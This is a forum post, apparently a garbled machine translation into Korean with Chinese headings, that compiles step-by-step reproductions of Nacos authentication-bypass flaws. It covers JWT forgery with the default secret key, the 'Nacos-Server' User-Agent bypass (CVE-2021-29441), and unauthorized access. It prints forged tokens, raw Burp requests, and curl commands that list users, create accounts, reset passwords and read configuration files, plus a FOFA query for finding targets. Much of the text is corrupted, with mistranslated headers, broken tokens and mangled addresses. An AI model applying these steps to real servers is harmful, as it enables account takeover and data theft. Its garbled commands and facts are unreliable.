KoreanHackerTeam
Moderator
Nacos漏洞总结复现
一、Nacos默认key导致权限绕过登陆
NACOS=2.1.0에 영향을 미치는 문제가 NACOS에서 발견되었으며 기본 JWT 키를 사용하는 NACOS 사용자는 무단 액세스 취약성을 초래했습니다. 이 취약점을 통해 공격자는 사용자 이름 및 비밀번호 인증을 우회하여 NACOS 사용자에게 직접 로그인 할 수 있습니다.0x00 漏洞描述
0.1.0=NACOS=2.2.00x01 漏洞影响
FOFA : APP='NACOS'0x02 漏洞搜索
NACOS의 TOKEN.SECRET.KEY 값은 고정되어 있고 위치는 응용 프로그램에 있습니다.
nacos.core.auth.plugin.nacos.token.secret.key=secretkey012345678901234567890123456789012345678901234567890123456789
1. 토큰을 가져 와서이 기본 키를 사용하여 JWT 구성을 수행하고 배경을 직접 입력하십시오. 시공 방법 :
https://jwt.io/에서 : 기본 키를 입력하십시오.
SecretKey0123456789012345789012345678901234678901234567890123456789
그런 다음 페이로드를 입력하십시오.
{
'Sub':'Nacos ',
'Exp': 167899909
}
참고 : 1678899909의 값은 Unix 타임 스탬프입니다. 변환하려면 시스템의 현재 시간보다 늦게됩니다. 예를 들어 현재 시간은 2023 년 3 월 15 일 22:11:09이며 여기의 타임 스탬프 시간은 3 월 16 일입니다.


알아채다:
다음은 권한을 우회하기 위해 JWT 값을 위조하는 테스트 결과입니다.
1. 타임 스탬프 확장, 비밀번호 게시물이 잘못되고 사용자 이름이 정확합니다.
2. 타임 스탬프, 비밀번호 게시, 사용자 이름 오류를 확장하십시오
3. 타임 스탬프 삭제, 게시물 암호가 잘못되고 사용자 이름이 잘못되었습니다.
위에서 얻은 값을 복사하고 Burp 및 Construct에서 로그인을 선택하십시오.
eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimvcyisimvcyiSimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6dstuko7s

상자에 직접 추가해야합니다.
Post/Nacos/V1/Auth/Users/Login HTTP/1.1
호스트 : 10.211.55.5:8848
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; RV:104.0) Gecko/20100101 Firefox/104.0
accept: 응용 프로그램/json, 텍스트/평원, */*
허용 : ZH-CN, ZH; Q=0.8, ZH-TW; Q=0.7, ZH-HK; Q=0.5, en-US; Q=0.3, en; q=0.2
accept-encoding: gzip, deflate
Content-Type: Application/X-WWW-FORM-URLENCODED
컨텐츠 길이 : 33
Origin: http://10.211.55.5:8848
Connection: 닫기
참조 3: http://10.211.55.5533608848/nacos/index.html
권한 : Bearer Bearer Eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eeyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6J6J6J6J6J6J6J6J6J6J6DSTUKZ
username=crowsecpassword=crowsec
현재 토큰 정보를 얻었습니다.
HTTP/1.1 200
Vary: 원산지
VARY: 액세스 제어-반복-메드
Vary: 액세스 제어 반복 헤더
Content-Security-Policy3: Script-Src 'Self'
set-cookie: jsessionId=d90CF6E5B233685E4A39C1B1BDA9F185; 경로=/nacos; httponly
권한 : Bearer Bearer Eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eeyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6J6J6J6J6J6J6J6J6J6J6DSTUKZ
Content-Type: Application/JSON
날짜 : Wed, 2023 년 3 월 15 일 14:1:22 GMT
Connection: 닫기
컨텐츠 길이 3: 197
{ 'accesstoken':'eyjhbgcioijiuzi1niisinr5ci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28c dy76jcvtmsgiim12c4pukjuuobz6j6dstuko7s ','tokenttl':18000, 'GlobalAdmin':true,'username':'nacos '}
현재 Nacos의 토큰 정보를 얻었습니다.
2. 토큰을 사용하여 로그인하여 백그라운드에 로그인하는 방법은 무엇입니까? 여기에서 가짜 계정으로 로그인 한 다음 수정하고 패키지로 돌아 가야합니다. 시도해보세요 :
먼저 가짜 계정으로 로그인하고 Burp를 사용하여

이것은 확실히 액세스 할 수 없습니다. 여기에서 반환 패키지를 변경하고 마우스 오른쪽 버튼을 클릭하십시오.

앞으로 여기에 반환 된 정보는 확실히 유효하지 않습니다.

여기서 우리는 지금 Burp에서 생성 된 반환 패키지를 사용하여 교체하고 모든 것을 복사합니다.

다시 전달

이제 이미 입력 했으므로 다음과 같습니다.

3. 기본 키를 사용하여 JWT를 생성하여 현재 사용자 이름과 비밀번호를보십시오. /nacos/v1/auth/users?accesstoken=eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvc yisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuuobz6j6dstuko7spageno=1pagesize=9 http/1.1host: {{hostname}} user-agent: mozilla/5.0accept-encoding: gzip, deflateconnection: closeif-modified-since3: wed, 15 Feb 2023 10333333:11 Gmtupgrade-Insecure-requests: 1accesstoken: eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimvcyisimvcyisimvcyiSimvcci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6j6dstuko7s4. hellon helocos Hellonacos, 성공적으로 만들어냅니다
Post/NACOS/V1/AUTH/USERS HTTP/1.1HOST: {{hostName}} User-Agent: Mozilla/5.0authorization: Bearereyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuuobz6j6dstuko7sacpred-ecoded333333333333333333333333333333333333333333333333333333333333333334 GZIP, deflateConnection: 근접 업그레이드-보안 요청 3: 1if-modified-since: Wed, 2023 년 2 월 152311:45:10 GMTContent-type: 응용 프로그램/x-WWW-Form-urlencodedContentcontrength3999
사용자 이름=Hellonacospassword=Hellonacos
0x03 漏洞复现
http://10.10.84.207:8848/nacos/v1/auth/users? pageno=1pagesize=9search=accurateaccesstoken3http://your_ip:8848/nacos/v1/auther/?
二、Nacos默认配置未授权访问漏洞
서버 엘리티 추가三、 Nacos2.2.0权限绕过
서버 덴티티 추가 인증, 따라서 인증 점검을 건너 뛸 수 있습니다. 이 메커니즘은 사용자 에이전트 HTTP 헤더에 의존하므로 쉽게 스푸핑됩니다. 이 문제를 사용하면 모든 사용자가 NACOS 서버에서 관리 작업을 수행 할 수 있습니다.四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)
Docker Run -D -D -P 8848:8848 HGLIGHT/CVE-2021-294410x01 漏洞描述
NACOS=1.4.10x02 环境搭建
1. 요청 패키지에 NACOS-Server에 대한 사용자 에이전트의 가치를 수정 한 후 헤인더를 방문한 후, 헤인더를 방문한 후 http://target:8848/nacos/v1/auth/user? pageno=1pagesize=9 반환 값이 200임을 알 수 있으며 컨텐츠에 pageitemsget/nacos/v1/auth/users/? pageno=9 http/1.1Host: 192.168.246.13833608848
user-agent: NACOS-SERVER

또는 명령을 사용하여 액세스 권한을 읽으십시오. NACOS-Server'Curl'http://127.0.0.0.1:8848/nacos/v1/auth/users? pageno=1pagesize=9search=blur'-h'user-agent3333:nacos-server '
curl'http://127.0.0.1:8848/nacos/v1/auth/users? pageno=1pagesize=9search=accurate'h'user-agent3:nacos-server'unauctorized adding Curl-xpost'http://127.0.0.1:8848/nacos/v1/auth/users? username=test1password=test1 '-h'user-agent:nacos-server 모든 사용자 암호 변경 Curl-X Put 'http://127.0.0.0.1:8848/nacos/v1/auth/users? accesstoken='-h 'user -agent:nacos -server'-d 'username=test1newpassword=test2'read configuration 파일 Curl-Xget'http://127.0.0.1:8848/nacos/v1/cs/configs? search=accuratedataid=group=pageno=1pagesize=9 9'Curl-Xget'http://127.0.0.1:8848/nacos/v1/cs/configs? search=blurdataid=group=pageno=1pagesize=99 '
헤더 헤더를 추가 한 후 게시 메소드를 사용하여 http://target:8848/nacos/v1/auth/users? username=vulhubpassword=vulhubadd 새 사용자이며 계정 암호는 vulhubpost/nacos/v1/auth/user? hglightpassword=hglightpassword=hglightword http/1.1입니다.
Host: 192.168.246.13833608848
user-agent: NACOS-SERVER 또는 POST/NACOS/V1/AUTH/USERS HTTP/1.1HOST: 192.168.31.64:848CACHE-CONTROL: MAX-AGE=0UPGRADE-INSECURE-RequestS: 1USER-GENT: NACOS-ServerAccept-Encoding: GZIP, deflateAccept-language: ZH-CN, ZH; Q=0.9Connection: CloseContent-Type: Application/x-www-form-urlencodedContent-length: 27username=hglight :-600- 사용자 목록을 다시 봅니다. 반환 된 사용자 목록 데이터에는 Bypass Authentication에서 생성 한 추가 새 사용자가 있습니다.
get/nacos/v1/auth/users/? pageno=1pagesize=9 http/1.1
Host: 192.168.246.13833608848
사용자 -AGENT: NACOS-SERVER
